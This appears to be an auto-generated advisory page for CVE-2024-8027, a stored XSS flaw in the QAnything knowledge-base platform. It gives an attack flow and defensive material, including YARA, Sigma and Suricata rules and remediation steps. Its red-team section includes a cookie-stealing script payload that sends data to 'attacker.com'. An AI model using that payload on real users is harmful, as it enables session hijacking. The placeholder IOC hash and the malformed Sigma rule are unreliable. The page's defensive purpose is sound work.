CVE-2024-8027
Executive Summary
CVE-2024-8027 is a stored Cross-Site Scripting (XSS) vulnerability in netease-youdao/QAnything, an open-source knowledge base and Q&A platform. The flaw allows an authenticated attacker to upload malicious knowledge files (e.g., PDF, DOCX, or plain text) containing embedded JavaScript. When other users interact with the knowledge base via chat, the malicious script executes in their browser, potentially leading to session hijacking, data theft, or further compromise. The vulnerability affects all versions prior to an unspecified fix. No public exploit code or patch details are currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (authenticated user)
- User Interaction: Required (victim must chat with the knowledge base)
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. The vulnerability requires user interaction and low privileges, but the stored XSS nature can lead to persistent attacks against multiple users.
Deep Dive & Mechanics
The vulnerability resides in the file upload and rendering pipeline of QAnything. The application allows users to upload knowledge files (e.g., PDF, DOCX, TXT) to a knowledge base. When a user chats with the knowledge base, the content of these files is parsed and rendered in the chat interface without proper sanitization. An attacker can craft a file containing malicious JavaScript (e.g., <script>alert('XSS')</script>) that, when processed and displayed, executes in the victim's browser context.
Attack Flow:
- Attacker logs in to QAnything.
- Attacker uploads a malicious file (e.g., a PDF with embedded JavaScript or a text file with XSS payload) to a knowledge base.
- Victim user initiates a chat with the knowledge base.
- The application retrieves and renders the malicious file content.
- The XSS payload executes in the victim's browser, allowing the attacker to steal cookies, session tokens, or perform actions on behalf of the victim.
Root Cause: Lack of output encoding and input sanitization when rendering user-uploaded content in the chat interface.
Vulnerable vs. Patched Code
Since no patch details are available, we provide a generic example of vulnerable vs. patched code patterns.
Vulnerable Code (Python/Flask example):
@app.route('/chat', methods=['POST'])
def chat():
query = request.form['query']
# Fetch knowledge base content
kb_content = get_knowledge_base_content(query)
# Directly render content without sanitization
return render_template('chat.html', content=kb_content)
Patched Code (with sanitization):
import bleach
from flask import escape
@app.route('/chat', methods=['POST'])
def chat():
query = request.form['query']
kb_content = get_knowledge_base_content(query)
# Sanitize HTML content
sanitized_content = bleach.clean(kb_content, tags=[], strip=True)
# Also escape for safe rendering
escaped_content = escape(sanitized_content)
return render_template('chat.html', content=escaped_content)
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Access to a QAnything instance (version prior to fix)
- Valid user credentials with file upload permissions
Steps:
- Create a malicious text file with the following content:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Upload the file to a knowledge base via the QAnything UI or API.
- Wait for a victim to chat with the knowledge base.
- The victim's browser executes the script, sending their cookies to the attacker's server.
Alternative Payload (PDF-based):
- Use a tool like
pdfkitorwkhtmltopdfto embed JavaScript in a PDF file. - Upload the PDF to the knowledge base.
Blue Team (Defense & Detection)
Detection:
- Monitor file uploads for suspicious content (e.g.,
<script>tags, event handlers). - Implement Content Security Policy (CSP) headers to restrict script execution.
- Use Web Application Firewall (WAF) rules to block XSS payloads in uploaded files.
Mitigation:
- Apply input validation and output encoding for all user-uploaded content.
- Use a library like
bleachorDOMPurifyto sanitize HTML. - Restrict file types to safe formats (e.g., plain text only) and strip all HTML tags.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example – replace with actual if discovered)
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
- Network Indicators:
- Outbound connections to attacker-controlled domains (e.g.,
attacker.com) - HTTP requests containing
document.cookiein the URL
- Outbound connections to attacker-controlled domains (e.g.,
- Log Entries:
- File uploads with MIME type
text/htmlorapplication/xhtml+xml - Chat responses containing
<script>tags
- File uploads with MIME type
Detection Engineering
YARA Rule
rule CVE_2024_8027_XSS_Payload {
meta:
description = "Detects XSS payloads in uploaded knowledge files for CVE-2024-8027"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-8027"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
$xss3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: CVE-2024-8027 Stored XSS in QAnything
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects file uploads containing XSS payloads targeting QAnything
author: Valters IT
logsource:
category: file_event
product: windows
detection:
selection:
EventID: 11 # FileCreate
TargetFilename|contains: 'QAnything'
TargetFilename|endswith: '.txt' or '.pdf' or '.docx'
condition: selection
falsepositives:
- Legitimate files with HTML content
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-8027 Stored XSS in QAnything"; flow:to_server,established; content:"POST"; http_method; content:"/upload"; http_uri; content:"<script"; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable file uploads in QAnything until a patch is applied.
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Use a Web Application Firewall (WAF) to filter XSS payloads.
Long-term Fix:
- Apply the vendor's patch when available.
- Sanitize all user-uploaded content using a library like
bleachorDOMPurify. - Enforce strict file type validation (e.g., only allow plain text and strip all HTML).
Workaround:
- Manually review all uploaded files before they are added to the knowledge base.
- Restrict chat functionality to trusted users only.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.